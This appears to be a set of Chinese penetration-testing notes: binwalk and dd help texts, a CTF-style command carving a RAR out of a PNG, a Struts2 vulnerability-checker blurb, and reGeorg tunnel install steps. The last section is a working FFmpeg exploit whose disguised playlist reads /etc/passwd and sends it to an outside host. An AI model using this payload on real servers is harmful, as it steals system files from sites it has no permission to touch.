walkbin

walkbin 1.png
dd if=1.png of=2.rar bs=1 skip=100097

binwalk使用手册

root@kali:~# binwalk

Binwalk v1.2.2-1

Craig Heffner, http://www.devttys0.com

Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...

Signature Analysis:

     -B, --binwalk                 Perform a file signature scan (default)

     -R, --raw-bytes=      Search for a custom signature

     -A, --opcodes                 Scan for executable code signatures

     -C, --cast                    Cast file contents as various data types

     -m, --magic=            Specify an alternate magic file to use

     -x, --exclude=        Exclude matches that have in their description

     -y, --include=        Only search for matches that have in their description

     -I, --show-invalid            Show results marked as invalid

     -T, --ignore-time-skew        Do not show results that have timestamps more than 1 year in the future

     -k, --keep-going              Show all matching results at a given offset, not just the first one

     -b, --dumb                    Disable smart signature keywords

Strings Analysis:

     -S, --strings                 Scan for ASCII strings (may be combined with -B, -R, -A, or -E)

     -s, --strlen=              Set the minimum string length to search for (default: 3)

Entropy Analysis:

     -E, --entropy                 Plot file entropy (may be combined with -B, -R, -A, or -S)

     -H, --heuristic               Identify unknown compression/encryption based on entropy heuristics (implies -E)

     -K, --block=             Set the block size for entropy analysis (default: 1024)

     -a, --gzip                    Use gzip compression ratios to measure entropy

     -N, --no-plot                 Do not generate an entropy plot graph

     -F, --marker=    Add a marker to the entropy plot graph

     -Q, --no-legend               Omit the legend from the entropy plot graph

     -J, --save-plot               Save plot as an SVG (implied if multiple files are specified)

Binary Diffing:

     -W, --diff                    Hexdump / diff the specified files

     -K, --block=             Number of bytes to display per line (default: 16)

     -G, --green                   Only show hex dump lines that contain bytes which were the same in all files

     -i, --red                     Only show hex dump lines that contain bytes which were different in all files

     -U, --blue                    Only show hex dump lines that contain bytes which were different in some files

     -w, --terse                   Diff all files, but only display a hex dump of the first file

Extraction Options:

     -D, --dd=     Extract signatures, give the files an extension of , and execute

     -e, --extract=[file]          Automatically extract known file types; load rules from file, if specified

     -M, --matryoshka              Recursively scan extracted files, up to 8 levels deep

     -r, --rm                      Cleanup extracted files and zero-size files

     -d, --delay                   Delay file extraction for files with known footers

Plugin Options:

     -X, --disable-plugin=   Disable a plugin by name

     -Y, --enable-plugin=    Enable a plugin by name

     -p, --disable-plugins         Do not load any binwalk plugins

     -L, --list-plugins            List all user and system plugins by name

General Options:

     -o, --offset=            Start scan at this file offset

     -l, --length=            Number of bytes to scan

     -g, --grep=             Grep results for the specified text

     -f, --file=             Log results to file

     -c, --csv                     Log results to file in csv format

     -O, --skip-unopened           Ignore file open errors and process only the files that can be opened

     -t, --term                    Format output to fit the terminal window

     -q, --quiet                   Supress output to stdout

     -v, --verbose                 Be verbose (specify twice for very verbose)

     -u, --update                  Update magic signature files

     -?, --examples                Show example usage

     -h, --help                    Show help output

这篇文章也很详细http://www.freebuf.com/tools/15266.html

附录3:dd使用

root@kali:~/binwalk Picture# dd --help

用法:dd [操作数] ...

 或:dd 选项

复制文件,依照操作数转换并格式化。

bs=比特数 一次读写的比特数

cbs=比特数 一次转换的比特数

conv=CONVS 依照每个逗号分割的标志列表转换文件

count=块数 只将指定个块数复制到块

ibs=比特数 一次读取的比特数(默认:512)

if=文件 从指定文件中读取

iflag=符号 按照以逗号分隔的符号列表指定的方式读取

obs=比特数 一次写入指定比特数(默认:512)

of=文件 写入到指定文件

oflag=符号 按照以逗号分隔的符号列表指定的方式写入

seek=块数 在输出开始处跳过指定的块数

skip=块数 在输入开始处跳过指定的块数

status=noxfer 禁止传输统计

块和字节数后可能带有以下的一个或多个后缀:

c =1, w =2, b =512, kB =1000, K =1024, MB =10001000, M =10241024, xM =M

GB =100010001000, G =102410241024, and so on for T, P, E, Z, Y.

每个 CONV 符号可能为:

ascii 由EBCDIC 码转换至ASCII 码

ebcdic 由ASCII 码转换至EBCDIC 码

ibm 由ASCII 码转换至替换的EBCDIC 码

block 将结束字符块里的换行替换成等长的空格

unblock 将cbs 大小的块中尾部的空格替换为一个换行符

lcase 将大写字符转换为小写

ucase 将小写字符转换为大写

swab 交换每一对输入数据字节

sync 将每个输入数据块以NUL 字符填满至ibs 的大小;当配合block

               或unblock 时,会以空格代替NUL 字符填充

excl fail if the output file already exists

nocreat do not create the output file

notrunc 不截断输出文件

noerror 读取数据发生错误后仍然继续

fdatasync 结束前将输出文件数据写入磁盘

fsync 类似上面,但是元数据也一同写入

FLAG 符号可以是:

append 追加模式(仅对输出有意义;隐含了conv=notrunc)

direct 使用直接I/O 存取模式

directory 除非是目录,否则directory 失败

dsync 使用同步I/O 存取模式

sync 与上者类似,但同时也对元数据生效

fullblock 为输入积累完整块(仅iflag)

nonblock 使用无阻塞I/O 存取模式

noatime 不更新存取时间

nocache 丢弃缓存数据

noctty 不根据文件指派控制终端

nofollow 不跟随链接文件

对运行中的"dd"进程发送一个USR1 信号会使得

I/O 的统计信息被打印到标准错误设备然后恢复复制操作。

$ dd if=/dev/zero of=/dev/null& pid=$!

$ kill -USR1 $pid; sleep 1; kill $pid

18335302+0 records in

18335302+0 records out

9387674624 bytes (9.4 GB) copied, 34.6279 seconds, 271 MB/s

可用选项有:

  --help             显示此帮助信息并退出

  --version                显示版本信息并退出

请向bug-coreutils@gnu.org 报告dd 的错误

GNU coreutils 的主页:

GNU 软件一般性帮助:

请向 报告dd 的翻译错误

要获取完整文档,请运行:info coreutils 'dd invocation'

Struts2多版本一次性检测工具

本工具包含了S2-005、S2-009、S2-016、S2-019、S2-032、S2-033、S2-037漏洞一次性检测
可能有其他的版本未添加,目前我只收集了这些POC,如果有其他版本的可以联系我.

警告:
该工具仅做漏洞自查使用,请勿非法攻击他人网站!

工具预览图:
1.png

点击下载

reGeorg内网渗透urllib3安装

1.下载reGeorg-master (https://github.com/sensepost/reGeorg),Copy到C:\Python27\ 。
2.安装setuptools

(a)下载ez_setup.py(https://pypi.python.org/pypi/setuptools#windows-simplified),Copy到 C:\Python27\ 。

(b)在命令提示符下切换到C:\Python27\,依次运行如下命令

python ez_setup.py build

python ez_setup.py install
3.安装Pip

(a)下载地址http://pypi.python.org/packages/source/p/pip/pip-1.0.tar.gz

(b) 依次运行如下命令

python setup.py build

python setup.py install
4.安装urllib3

切换到C:\Python27\Scripts,直接运行pip install urllib3 。

reGeorg安装完成。

FFmpeg文件读取漏洞测试

用python监听一个http端口:python -m SimpleHTTPServer
然后在网站根目录下面上传一个文件
header.m3u8
内容为
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxxxxx:8000? //网站url

之后在目标站上传
Test.avi
内容为
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xxxxxx:8000/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

test.rar